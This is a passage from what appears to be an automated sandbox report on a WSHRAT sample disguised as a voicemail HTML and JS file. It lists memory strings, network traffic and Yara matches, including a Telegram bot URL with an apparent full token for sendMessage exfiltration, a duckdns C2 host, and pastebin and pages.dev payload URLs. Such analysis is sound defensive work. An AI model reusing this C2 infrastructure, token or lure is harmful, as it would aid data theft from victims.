                    Source: wscript.exe, 0000000C.00000003.2776519179.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2484400833.0000000006C75000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-readysoft
                    Source: wscript.exe, 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://masterokrwh.duckdns.org:8426/is-readyz
                    Source: wscript.exe, 0000000B.00000002.2097462651.0000000006A26000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2094115487.0000000003515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2092299826.0000000006A37000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2092655310.0000000006A45000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2092655310.0000000006A42000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2053554395.0000000003519000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2051852371.0000000003518000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2092576951.0000000006A24000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2097565335.0000000006A45000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2097565335.0000000006A43000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2092865617.0000000005A1E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2094333401.0000000005F93000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2092452012.0000000006A3C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2484400833.0000000006C5D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2094729720.00000000038A9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3663272487.0000000006493000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2093975107.00000000038A8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3663596969.0000000006C18000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3662661142.0000000005DCA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000011.00000002.3662635567.00000210134D5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000011.00000002.3663058891.0000021013A34000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pastebin.com/raw/NsQ5qTHr
                    Source: wscript.exe, 0000000C.00000002.3663596969.0000000006C18000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pastebin.com/raw/NsQ5qTHr.G5u1
                    Source: wscript.exe, 00000011.00000002.3663058891.0000021013A34000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pastebin.com/raw/NsQ5qTHr9
                    Source: wscript.exe, 0000000B.00000002.2097462651.0000000006A26000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2092576951.0000000006A24000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pastebin.com/raw/NsQ5qTHrm
                    Source: wscript.exe, 00000011.00000002.3663058891.0000021013A34000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pastebin.com/raw/NsQ5qTHro
                    Source: wscript.exe, 00000011.00000002.3661806513.0000021012F35000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pastebin.com/raw/NsQ5qTHrst
                    Source: wscript.exe, 0000000B.00000002.2097000697.00000000069D0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000011.00000002.3663058891.00000210139C7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/
                    Source: wscript.exe, 0000000B.00000003.2092865617.0000000005A1E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3662661142.0000000005DCA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000011.00000002.3662635567.00000210134D5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot
                    Source: wscript.exe, 0000000B.00000003.2094772697.000000000591A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2095984043.000000000591A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2094069081.000000000591A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot6968126468:AAFBucF0UmhmKMp_
                    Source: wscript.exe, 0000000B.00000003.2094115487.0000000003515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2092299826.0000000006A37000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2092655310.0000000006A45000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2092655310.0000000006A42000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2097565335.0000000006A45000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2097565335.0000000006A43000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2092593579.0000000006A1A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2094688191.0000000006A1B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2092452012.0000000006A3C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2484400833.0000000006C5D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000011.00000002.3663058891.0000021013A0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000011.00000002.3663058891.0000021013A4B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000011.00000002.3661737304.00000210112E5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot6968126468:AAFBucF0UmhmKMp_RgCJWJVC7hjGAO
                    Source: wscript.exe, 00000011.00000002.3663058891.00000210139EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot6968126468:AAFBucF0UmhmKMp_RgCJWJVC7hjGAO25mwg/sendMessage
                    Source: wscript.exe, 00000011.00000002.3663058891.00000210139EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot6968126468:AAFBucF0UmhmKMp_RgCJWJVC7hjGAO25mwg/sendMessageZ
                    Source: wscript.exe, 0000000B.00000003.2094333401.0000000005F93000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3663272487.0000000006493000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot6968126468:AAFBucF0UmhmKMp_RgCJWJVC7hjGAO25mwg/sendMessaget
                    Source: wscript.exe, 0000000B.00000003.2093298186.00000000032FA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2093476765.0000000003302000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2095486810.000000000331F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2093647514.000000000331E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2091854276.00000000032F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot6968126468:AAFBucF0UmhmKMp_RgCJWJVC7hjGAO25mwg/sendMessagex~
                    Source: wscript.exe, 00000011.00000002.3662046027.00000210130B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/botx67
                    Source: wscript.exe, 00000011.00000002.3663058891.00000210139EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org:443/bot6968126468:AAFBucF0UmhmKMp_RgCJWJVC7hjGAO25mwg/sendMessageAccept-Lan
                    Source: Voicemail Jud.htmlString found in binary or memory: https://cloudgoogle.pages.dev/love.js
                    Source: Voicemail Jud.htmlString found in binary or memory: https://i.stack.imgur.com/ZU3tO.png
                    Source: wscript.exe, 0000000B.00000003.2094772697.000000000591A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2095984043.000000000591A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2094069081.000000000591A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://json.#
                    Source: wscript.exe, 0000000B.00000002.2095763149.000000000351D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2094811669.000000000351D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3661710807.00000000038AD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://json.geo
                    Source: wscript.exe, 00000011.00000002.3661280933.000002101103B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000011.00000002.3663058891.00000210139C7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000011.00000002.3663058891.0000021013A4B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000011.00000002.3661737304.00000210112E5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://json.geoiplookup.io/
                    Source: wscript.exe, 00000011.00000002.3662046027.00000210130B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://json.geoiplookup.io/C
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003605000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://json.geoiplookup.io/S
                    Source: wscript.exe, 0000000B.00000003.2093298186.000000000334B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2091854276.000000000334B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2095486810.0000000003353000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2093858081.0000000003352000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://json.geoiplookup.io/ZK
                    Source: wscript.exe, 0000000B.00000003.2094115487.000000000351D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://json.geou
                    Source: wscript.exe, 0000000B.00000003.2093298186.000000000334B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2091854276.000000000334B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2095486810.0000000003353000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2093858081.0000000003352000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000011.00000002.3663058891.00000210139C7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com
                    Source: wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.comi
                    Source: wscript.exe, 0000000B.00000002.2097000697.00000000069D0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000011.00000002.3663058891.00000210139C7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/
                    Source: wscript.exe, 00000011.00000002.3663058891.0000021013A4B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/NsQ5qTHr
                    Source: wscript.exe, 0000000C.00000002.3663596969.0000000006C18000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/NsQ5qTHr(F/t
                    Source: wscript.exe, 00000011.00000002.3661806513.0000021012F35000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/NsQ5qTHr:
                    Source: wscript.exe, 0000000B.00000002.2097462651.0000000006A26000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2092576951.0000000006A24000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/NsQ5qTHrK
                    Source: wscript.exe, 0000000B.00000002.2095486810.0000000003370000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2091854276.0000000003370000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2093298186.0000000003370000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/NsQ5qTHrL
                    Source: wscript.exe, 0000000B.00000003.2094333401.0000000005F93000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/NsQ5qTHr_n
                    Source: wscript.exe, 00000011.00000002.3663058891.0000021013A34000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/NsQ5qTHra
                    Source: wscript.exe, 00000011.00000002.3661806513.0000021012F35000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/NsQ5qTHre
                    Source: wscript.exe, 00000011.00000002.3663058891.0000021013A34000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/NsQ5qTHrn
                    Source: wscript.exe, 00000011.00000002.3663058891.00000210139EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com:443/raw/NsQ5qTHr
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49733 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49788
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49741
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49779 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49784
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49766 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49762 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49746 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49769 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49776 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49739
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49738
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49791 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49759 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49779
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49734
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49772 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49733
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49777
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49675 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49776
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49775
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49773
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49772
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49771
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49770
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49788 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49767 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49784 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49794 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49777 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49773 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49769
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49768
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49767
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49739 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49766
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49765
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49764
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49762
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49760
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49741 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49748 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49760 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49764 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49745 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49770 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49759
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49757
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49738 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49757 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49734 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49794
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49792
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49791
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49765 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49747 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49768 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49775 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49748
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49747
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49792 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49746
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49745
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49771 -> 443
                    Source: unknownHTTPS traffic detected: 23.221.246.93:443 -> 192.168.2.4:49746 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 23.221.246.93:443 -> 192.168.2.4:49747 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49748 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.21.25.148:443 -> 192.168.2.4:49772 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49773 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.4:49775 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.21.25.148:443 -> 192.168.2.4:49776 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49777 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.4:49779 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49784 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.21.25.148:443 -> 192.168.2.4:49791 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49792 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.4:49794 version: TLS 1.2

                    Key, Mouse, Clipboard, Microphone and Screen Capturing

                    barindex
                    Yara detected WSHRAT
                    Source: Yara matchFile source: dump.pcap, type: PCAP
                    Source: Yara matchFile source: 0000000B.00000003.2053554395.0000000003517000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2776352925.0000000006C83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2093975107.00000000038A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2092992601.00000000052A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2197255789.0000000006CBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2479805019.0000000006C84000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000003.2443802427.000002101330E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2776254293.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000002.3662166348.00000000059A3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2252696295.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000002.3662453793.00000210132F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000007.00000003.2039075098.0000000000E00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2092554619.0000000005A54000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2094186218.000000000573C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000003.2443649511.00000210131BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2047460205.0000000005727000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000002.3662373093.0000000005AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2365561540.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000003.2444885075.00000210130B2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000002.3662263359.00000210131BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000002.3662635567.00000210134D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.3283310659.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000002.3663724443.000002101409B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2092891218.0000000005B96000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.3228165832.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2122982130.0000000006CA9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2091678833.0000000006DB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000002.3661879810.0000021012F6B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2195388309.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000002.3662661142.0000000005DCA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000002.3664293608.0000000006F10000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.3338153980.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2089734091.0000000006A73000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2309211314.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2044961577.00000000055E7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2092865617.0000000005A1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000002.3661927957.000000000562A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2093146388.00000000055ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2479670966.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.3408776876.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000003.2444105297.00000210130F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2047368224.0000000005204000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2092684570.00000000059AF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: 7za.exe PID: 2936, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: wscript.exe PID: 7076, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: wscript.exe PID: 1544, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: wscript.exe PID: 6936, type: MEMORYSTR
                    Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js, type: DROPPED
                    Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js, type: DROPPED
                    Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js, type: DROPPED

                    System Summary

                    barindex
                    Malicious sample detected (through community Yara rule)
                    Source: 0000000C.00000003.2776254293.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
                    Source: 0000000C.00000003.2252696295.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
                    Source: 00000007.00000003.2039075098.0000000000E00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
                    Source: 0000000C.00000003.2365561540.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
                    Source: 0000000C.00000003.3283310659.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
                    Source: 0000000C.00000003.3228165832.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
                    Source: 0000000C.00000003.2122982130.0000000006CA9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
                    Source: 0000000B.00000003.2091678833.0000000006DB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
                    Source: 0000000C.00000003.2195388309.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
                    Source: 0000000C.00000002.3664293608.0000000006F10000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
                    Source: 0000000C.00000003.3338153980.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
                    Source: 0000000B.00000003.2089734091.0000000006A73000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
                    Source: 0000000C.00000003.2309211314.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
                    Source: 0000000C.00000003.2479670966.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
                    Source: 0000000C.00000003.3408776876.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
                    Source: 00000011.00000003.2444105297.00000210130F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
                    Source: 0000000B.00000003.2047368224.0000000005204000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
                    Source: 0000000C.00000003.2092684570.00000000059AF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
                    Source: Process Memory Space: 7za.exe PID: 2936, type: MEMORYSTRMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
                    Source: Process Memory Space: wscript.exe PID: 7076, type: MEMORYSTRMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
                    Source: Process Memory Space: wscript.exe PID: 1544, type: MEMORYSTRMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
                    Source: Process Memory Space: wscript.exe PID: 6936, type: MEMORYSTRMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
                    Source: C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js, type: DROPPEDMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
